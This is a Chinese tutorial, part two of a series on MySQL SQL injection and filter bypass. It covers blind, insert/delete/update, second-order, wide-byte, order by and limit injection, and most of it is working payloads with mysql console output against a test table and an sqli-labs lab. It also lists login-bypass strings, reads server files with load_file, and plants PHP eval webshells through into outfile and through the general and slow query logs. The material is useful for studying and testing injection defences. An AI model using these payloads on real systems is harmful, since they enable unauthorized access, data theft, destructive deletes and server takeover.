SQL注入及bypass思路(2)
接上回继续分解 SQL注入及bypass思路(1)
盲注
盲注在这里归纳为:
- 时间盲注
- 布尔盲注
其实在如今的实际环境中,一般盲注的情况比较多,时间盲注太花费时间,同时对网络要求比较高,二分,dnslog等等可以加快注入的进程
盲注需要注意的问题
- 在盲注中使用
and
,你得确定你查询的值得存在 - 在返回多组数据的情况下,你的延时不再是单纯的
sleep(5)
,它将根据你返回的数据条数来反复执行 - 在如同搜索型时尽量搜索存在且数目较少的关键词
- 尽量不要使用
or
如果吐司文章看不了的话可以看看安全客上的这篇:
https://www.anquanke.com/post/id/170626
盲注的本质是猜解,根据页面运行时间的差异或者页面返回结果的差异获取数据
简单时间盲注
时间盲注也叫延时注入,一般用到函数sleep()
BENCHMARK()
,还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢),查阅mysql手册会发现更多可以使用的东西
关于benchmark 和 笛卡尔积
BENCHMARK()函数,可以测试某些特定操作的执行速度,在这里我们通过大量运算来模拟延时
mysql> select benchmark(10000000,sha1(1));
+-----------------------------+
| benchmark(10000000,sha1(1)) |
+-----------------------------+
| 0 |
+-----------------------------+
1 row in set (4.60 sec)
mysql> select * from user where id=-1 or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0);
Empty set (4.25 sec)
mysql> select * from user where id=-1 or if(ascii(substr(database(),1,1))>200,benchmark(10000000,sha(1)),0);
Empty set (0.00 sec)
笛卡尔积也是通过大量运算模拟延时
不推荐使用笛卡尔积,当数据过多的时候会造成dos
mysql> select count(*) from information_schema.tables A,information_schema.tables B;
+----------+
| count(*) |
+----------+
| 47524 |
+----------+
1 row in set (0.01 sec)
mysql> select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C;
+----------+
| count(*) |
+----------+
| 10360232 |
+----------+
1 row in set (0.25 sec)
mysql> select * from user where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0);
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.25 sec)
mysql> select * from user where '1'='2' or if(ascii(substr(database(),1,1))>200,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0);
Empty set (0.00 sec)
可以看出都是利用if
语句配合分割函数和延时操作来进行时间盲注
一般时间盲注我们还需要使用条件判断函数
if()
if(expre1,expre2,expre3)
当expre1为true时,返回expre2,false时,返回expre3
盲注的同时也配合着mysql提供的分割函数,与正则函数,like函数,比较函数等等
substr
substring
left
...
为了提高盲注速度可以在找到过滤和注入方式后,使用一门拿手的语言编写盲注脚本来解放双手
我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号,常用到的有ascii()``hex()
等等
case when then else end
语句比较简单不做过多解释了,看例子就会
mysql> select * from user where id =1 and case when (substr((select user()),1,1)="rr") then sleep(3) else 1 end;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)
mysql> select * from user where id =1 and case when (substr((select user()),1,1)="r") then sleep(3) else 1 end;
Empty set (3.00 sec)
布尔盲注
布尔盲注的思路很多,比如正则匹配,比较函数,运算符等等,推荐可以看看:https://www.anquanke.com/post/id/170626
-
直接通过字符串截取对比
mysql> select * from user where id =1 and substr((select user()),1,1)='r'; +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | admin | admin | +------+----------+----------+ 1 row in set (0.00 sec) mysql> select * from user where id =1 and substr((select user()),1,2)='r'; Empty set (0.00 sec)
-
使用
IFNULL()
函数IFNULL() 函数用于判断第一个表达式是否为 NULL,如果为 NULL 则返回第二个参数的值,如果不为 NULL 则返回第一个参数的值。
mysql> select * from user where id =1 and IFNULL((substr((select user()),1,1)='r'),0); +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | admin | admin | +------+----------+----------+ 1 row in set (0.00 sec) mysql> select * from user where id =1 and IFNULL((substr((select user()),1,2)='r'),0); Empty set (0.00 sec)
-
使用比较函数
strcmp()
mysql> select * from user where id =1 and strcmp((substr((select user()),1,1)='r'),1); Empty set (0.00 sec) mysql> select * from user where id =1 and strcmp((substr((select user()),1,2)='r'),1); +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | admin | admin | +------+----------+----------+ 1 row in set (0.00 sec) mysql> select * from user where id =1 and 0=strcmp((substr((select user()),1,1)),'o'); Empty set (0.00 sec) mysql> select * from user where id =1 and 0=strcmp((substr((select user()),1,1)),'r'); +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | admin | admin | +------+----------+----------+ 1 row in set (0.00 sec)
小技巧
在没有办法的情况下必须使用到
or
的延时注入不如试试子查询,它也只将延时5smysql> select * from user where id =-1 or if((substr((select user()),1,1)='r'),((select sleep(5) from information_schema.schemata as b)),1); ERROR 1242 (21000): Subquery returns more than 1 row mysql> select * from user where id =-1 or if((substr((select user()),1,1)='o'),((select sleep(5) from information_schema.schemata as b)),1); +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | admin | admin | +------+----------+----------+ 1 row in set (0.00 sec)
第一条语句虽然报错但还是产生了明显的延时
insert,delete,update注入
这里对应的是数据库插入,删除,更新操作,insert
,delte
,update
主要是用到盲注和报错注入,此类注入点不建议使用sqlmap
等工具,会造成大量垃圾数据和其他情况
insert
这类漏洞注入漏洞点假如没闭合是会产生很多垃圾数据的,建议手工或者自己写工具
一般这种注入会出现在注册,ip头,留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现
insert 报错
mysql> insert into user (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin123");
Query OK, 1 row affected (0.04 sec)
mysql> select * from user;
+------+-----------------------------------------------+----------+
| id | username | password |
+------+-----------------------------------------------+----------+
| 1 | admin | admin |
| 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin123 |
+------+-----------------------------------------------+----------+
2 rows in set (0.00 sec)
mysql> insert into user (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin123");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
mysql> select * from user;
+------+-----------------------------------------------+----------+
| id | username | password |
+------+-----------------------------------------------+----------+
| 1 | admin | admin |
| 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin123 |
+------+-----------------------------------------------+----------+
2 rows in set (0.00 sec)
insert 盲注
int型可以使用运算符,比如加减乘除 and or 异或 移位等等
mysql> insert into user values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)
mysql> insert into user values (2+if((substr((select user()),1,1)='a'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)
mysql> select * from user;
+------+-----------------------------------------------+----------+
| id | username | password |
+------+-----------------------------------------------+----------+
| 1 | admin | admin |
| 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin123 |
| 2 | 1 | admin |
| 3 | 1 | admin |
+------+-----------------------------------------------+----------+
4 rows in set (0.00 sec)
字符型注意闭合不能使用and
mysql> insert into user values (4,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)
mysql> insert into user values (4,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.00 sec)
mysql> select * from user;
+------+-----------------------------------------------+----------+
| id | username | password |
+------+-----------------------------------------------+----------+
| 1 | admin | admin |
| 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin123 |
| 2 | 1 | admin |
| 3 | 1 | admin |
| 4 | 1 | admin |
| 4 | 0 | admin |
+------+-----------------------------------------------+----------+
6 rows in set (0.00 sec)
可以看出。盲注会产生大量的垃圾数据
delete
报错注入同上
值得注意的是delete
注入很危险,语句不当将会亲人两行泪
例如 or 1=1
,因为1=1为true,所以每一行被删除
他以前sqlmap一把梭,现在过得很好,每顿都有人送饭到手上,吃上了皇粮
所以在delete注入时使用 or 一定要为 false
or 1=1
删库的例子:
mysql> select * from user;
+------+-----------------------------------------------+----------+
| id | username | password |
+------+-----------------------------------------------+----------+
| 1 | admin | admin |
| 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin123 |
| 2 | 1 | admin |
| 3 | 1 | admin |
| 4 | 1 | admin |
| 4 | 0 | admin |
+------+-----------------------------------------------+----------+
6 rows in set (0.00 sec)
mysql> delete from user where id =1 or 1=1;
Query OK, 6 rows affected (0.00 sec)
mysql> select * from user;
Empty set (0.00 sec)
报错注入
mysql> delete from user where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
盲注
or 配上if()
函数使用不当也会导致删库
if(expr1,expr2,expr3)
如果expr1的值为true,返回expr2的值,如果expr1的值为false,返回expr3的值
mysql> delete from user where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),1);
Query OK, 1 row affected (0.00 sec)
所以delete中 or 的正确使用方法(or 右边要为false)
mysql> insert into user values (1,"admin","admin");
Query OK, 1 row affected (0.00 sec)
mysql> delete from user where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)
mysql> delete from user where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)
update
与上面类似
mysql> select * from user;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)
mysql> update admin set id="5"+sleep(5)+"" where id=1;
ERROR 1146 (42S02): Table 'sqlvul.admin' doesn't exist
mysql> update user set id="5"+sleep(5)+"" where id=1;
Query OK, 1 row affected (5.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
关于寻找 update,insert注入
我们可以尝试性插入引号,双引号,转义符,让语句不能正常执行,然后如果插入失败,更新失败,再深入测试是否存在注入
二次注入
二次注入的原理是sql语句没有被转义直接存入数据库,然后再被读取查询而导致的
二次注入在php中通常见于,插入时被addslasher()
get_magic_quotes_gpc
等等转义,但是写入数据库时还是使用原来的数据,二次注入造成原因是多种多样的。
例如从数据库中取出数据时,信任了数据库中的数据,未经过过滤而直接使用,导致二次注入的出现
在没有被单引号包裹的sql语句下,我们可以用十六进制编码它,这样就不会带有单引号等
mysql> insert into user (id,username,password) values ('3',0x61646D696E27313131,'11');
Query OK, 1 row affected (0.00 sec)
mysql> select * from user;
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 3 | admin'111 | 11 |
| 5 | admin | admin |
+------+-----------+----------+
2 rows in set (0.00 sec)
想要具体了解这个可以做做 sqli-labs
24课,二次注入在没有源码的情况下较难发现,通常见于注册
宽字节注入
1,没使用宽字节
%27 -> %5c%27
2,使用宽字节
%df%27 -> %df%5c%27 ->運'
解释:
- 在我们输入单引号时,过滤函数将我们的单引号加入了转义字符,则
\
变成了\'
- 我们输入经过转换后由于编码的不同把
%df%5c
转换成了一个汉字,从而导致了单引号逃逸了出来
想要具体了解找题做的话,可以做做sqli-labs
33课
关于宽字节注入的原理
程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入
比如PHP的编码为 UTF-8
而MySql
的编码设置为了gbk
前端输入%df%27
时首先经过上面addslashes
函数转义变成了%df%5c%27
(%5c是反斜杠\
),之后在数据库查询前因为设置了GBK
编码,即是在汉字编码范围内两个字节都会给重新编码为一个汉字。然后MySQL服务器就会对查询语句进行GBK编码即是%df%5c
转换成了汉字運
,而单引号就逃逸了出来,从而造成了注入漏洞。
宽字节注入的关键点有两个:
- 需要将数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入
- 设置的宽字符集可能吃掉转义符号
\
(对应的编码为0x5c,即低位中包含正常的0x5c就行了)
order by 注入
这是一种特殊的注入
sql语句为 select * from user order by $id
我们一般用 order by来判断它的列数,其实它就是一个依照第几个列来排序的过程
order by
注入是不能直接使用and 1=1
来判断的,它需要用到条件语句
mysql> select * from user order by id;
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 3 | admin'111 | 11 |
| 5 | admin | admin |
+------+-----------+----------+
2 rows in set (0.00 sec)
mysql> select * from user order by username;
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 5 | admin | admin |
| 3 | admin'111 | 11 |
+------+-----------+----------+
2 rows in set (0.00 sec)
order by 盲注
布尔
简单的判断
mysql> select * from user order by if(1=1,username,password);
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 5 | admin | admin |
| 3 | admin'111 | 11 |
+------+-----------+----------+
2 rows in set (0.00 sec)
mysql> select * from user order by if(1=2,username,password);
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 3 | admin'111 | 11 |
| 5 | admin | admin |
+------+-----------+----------+
2 rows in set (0.00 sec)
简单的注入
mysql> select * from user order by if((substr((select user()),1,1)='r1'),username,password);
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 3 | admin'111 | 11 |
| 5 | admin | admin |
+------+-----------+----------+
2 rows in set (0.00 sec)
mysql> select * from user order by if((substr((select user()),1,1)='r'),username,password);
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 5 | admin | admin |
| 3 | admin'111 | 11 |
+------+-----------+----------+
2 rows in set (0.00 sec)
时间盲注
时间盲注不能直接简单的sleep()
,因为他会对每条内容来执行你的语句,所以会造成dos,测试获取速度慢等问题,这时候我们需要用到子查询
mysql> select * from user order by if((substr((select user()),1,1)='r'),sleep(5),password);
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 3 | admin'111 | 11 |
| 5 | admin | admin |
+------+-----------+----------+
2 rows in set (10.00 sec)
可以看到表中有两条数据,就使用了2*5
秒
我们写一条简单的子查询试试
mysql> select * from user order by if((substr((select user()),1,1)='r'),(select 1 from (select sleep(2)) as b),password);
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 3 | admin'111 | 11 |
| 5 | admin | admin |
+------+-----------+----------+
2 rows in set (2.00 sec)
order by 报错注入
mysql> select * from user order by (extractvalue(1,concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'
from 注入
from 后面的注入比较少,还是提一下
select * from $id;
- 可以结合 order by来注入
- 可以使用联合注入来注入
mysql> select * from user union select 1,user(),3;
+------+----------------+----------+
| id | username | password |
+------+----------------+----------+
| 3 | admin'111 | 11 |
| 5 | admin | admin |
| 1 | root@localhost | 3 |
+------+----------------+----------+
3 rows in set (0.00 sec)
方法跟普通注入一样的,自己加上表名
limit 注入
这种注入也不是很常见,可以参考:
https://rateip.com/blog/sql-injections-in-mysql-limit-clause/
或者P牛的转载:
https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
select * from user where id >0 limit 0,1 $id
利用方法大佬已经给出了,使用PROCEDURE ANALYSE
配合报错注入
mysql> select * from user where id >0 order by id limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'
直接使用sleep不行,需要用benchmark
代替
select * from admin where id >0 order by id limit 0,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,(if(1=1,benchmark(2000000,md5(404)),1)))),1);
再谈万能密码登录
万能密码基本大家都用过,各种各样的,如下
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
其实根据前面的文章我们很容易看出,它的原理就是让我们的条件恒成立,至于为什么这么多种,就是根据语句的形式来闭合的
这里面涉及到运算符的优先级,mysql运算的特性,然后下面我们以几个例子来做做最另类的万能密码
mysql> select * from user where username = '/*' and password = '*/';
Empty set (0.00 sec)
注释绕过
mysql> select * from user where username = ''or 1=1-- ' and password = '123';
-> ;
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 3 | admin'111 | 11 |
| 5 | admin | admin |
+------+-----------+----------+
2 rows in set (0.00 sec)
经典的or 1=1--
其中1=1恒为 true,然后导致每条数据都成立返回
那么知道了这个原理怎么构造一个简单的万能密码呢
mysql> select ''=0;
+------+
| ''=0 |
+------+
| 1 |
+------+
1 row in set (0.00 sec)
mysql> select 1=0=0;
+-------+
| 1=0=0 |
+-------+
| 1 |
+-------+
1 row in set (0.00 sec)
我们可以看到mysql中空字符串''
等于0,结果为1,也就是true,知道这个特性我们可以来构造我们的万能密码了
mysql> select * from user;
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 4 | 3test | 11 |
| 1 | 1test | 11 |
| 3 | admin'111 | 11 |
| 5 | admin | admin |
+------+-----------+----------+
4 rows in set (0.00 sec)
mysql> select * from user where username=''|0#' and password='123';
-> ;
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 3 | admin'111 | 11 |
| 5 | admin | admin |
+------+-----------+----------+
2 rows in set, 3 warnings (0.00 sec)
小注
原文中这里其实没有讲清楚,我们使用'|0#'
这个万能密码的时候,查询结果只出现了两条数据,而username
为数字开头的数据则没有出现,因为Mysql数据库中,varchar与数字比较时,会强制转换varchar为数字再进行比较(类似php语言中的intval函数处理)非数字开头的varchar字符串会转换为0再进行比较,数字开头的varchar字符串转化为开头对应数字部分的值再进行比较,所以当username和0进行比较时,会返回所有不是数字开头的结果。
读写文件与堆叠查询
mysql中在mysql 5.6.34
版本之后secure_file_priv
的值默认为NULL,而secure_file_priv
为null,我们就不能导出文件
以下都建立在secure_file_priv
的默认值被修改为无才能利用,且这个只能手工修改配置文件,不能使用sql语句,也就是需要管理员不知道干了什么帮你修改好这个权限才可以
windows系统在my.ini
的[mysqld]下面加上secure_file_priv=
,linux的在/etc/my/cnf
,同时读写权限问题就不用说了
小注
在我们测试 mysql 写 webshell 时需要开启 secure_file_priv
,否则无法写入,该参数在 mysql 5.6.34 以后默认是 NULL
。
查看 secure_file_priv的状态
mysql> show variables like 'secure_file_priv';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | NULL |
+------------------+-------+
1 row in set (0.00 sec)
secure_file_priv
的值有三种情况:
| | NULL
(默认) | 不允许导入导出文件
| | D:\test
| 只允许在 D:\test
目录导入导出文件
| | 空 | 不限制路径,可以任意导入导出文件
我们手动将secure_file_priv
设置为空
设置后重启mysql
可以看到已经设置为空了
读文件
可以把文件hex一下输出,文件名也是支持hex和char的
mysql> select * from user union select 1,hex(load_file('D:\\phpStudy\\PHPTutorial\\WWW\\springbird.txt')),3;
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 4 | 3test | 11 |
| 1 | 1test | 11 |
| 3 | admin'111 | 11 |
| 5 | admin | admin |
| 1 | 6869 | 3 |
+------+-----------+----------+
5 rows in set (0.00 sec)
当然你进入了phpmyadmin
类似的平台可以执行sql语句,你可以选择把导入的数据插入表中,同时支持导入的函数还有load data infile
mysql> create table test(test text);
Query OK, 0 rows affected (0.06 sec)
mysql> insert into test(test) values (load_file('D:\\phpStudy\\PHPTutorial\\WWW\\springbird.txt'));
Query OK, 1 row affected (0.00 sec)
mysql> select * from test;
+------+
| test |
+------+
| hi |
+------+
1 row in set (0.00 sec)
如果能读文件在渗透测试中往往很有用,可以读取配置文件,系统问题等等关键信息,在作者以前的一次渗透中,进入一个后台功能全部被限制死了,但是可以执行导入,通过一个编辑器的目录遍历,发现某文件时间不一致,读取出来发现是webshell,应该是某黑客进去之后做的手脚
写文件
写文件我们一般用到dumpfile
与outfile
,它们其实是有区别的
outfile
会在行末写入新行,而且会转义换行符
dumpfile
能导出一个完整的文件,不会有任何转义,所以我们udf提取一般用的dumpfile
mysql> select * from user where id =1 union select 1,'<?php eval($_POST[cmd]);?>',3 into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\springbird1.php';
Query OK, 2 rows affected (0.00 sec)
后来大佬们找到一种方法通过日志来写shell解决这个史诗级难题,但是需要能直接执行sql语句,利用条件有限
简单来说,日志写马的流程为:开启日志记录,修改日志存储位置,sql语句写马
set global general_log=on;
set global general_log_file='D://404.php';
select '<?php eval($_POST['404']) ?>';
还有一种慢日志,原理一样
mysql> show global variables like '%query_log%'
-> ;
+---------------------+-------------------------------------------------------------+
| Variable_name | Value |
+---------------------+-------------------------------------------------------------+
| slow_query_log | OFF |
| slow_query_log_file | D:\phpstudy\PHPTutorial\MySQL\data\LAPTOP-M4APUKKN-slow.log |
+---------------------+-------------------------------------------------------------+
2 rows in set (0.00 sec)
步骤为
set global slow_query_log=1;
set global slow_query_log_file='D://404.php'
select '<?php eval($_POST['404']) ?>' or sleep(15);
堆叠查询
mysql是支持堆叠查询的,用;
分割语句,但是php原生的连接方式不支持,但是使用PDO,mysqli_multi_query()等等是支持多语句的,在我们使用堆叠查询的时候基本是没有回显的,而且其实很难遇到这种环境
mysql> select * from user where id=1;select user();
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | 1test | 11 |
+------+----------+----------+
1 row in set (0.00 sec)
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
这里讲到一起就是因为,加入支持堆叠查询还可以用日志来写shell
http://192.168.59.129/Less-38/?id=1%27;set global general_log=on;set global general_log_file='C://phpstudy//404.php';--+
http://192.168.59.129/Less-38/?id=1%27;select '<?php eval($_POST[404]) ?>';--+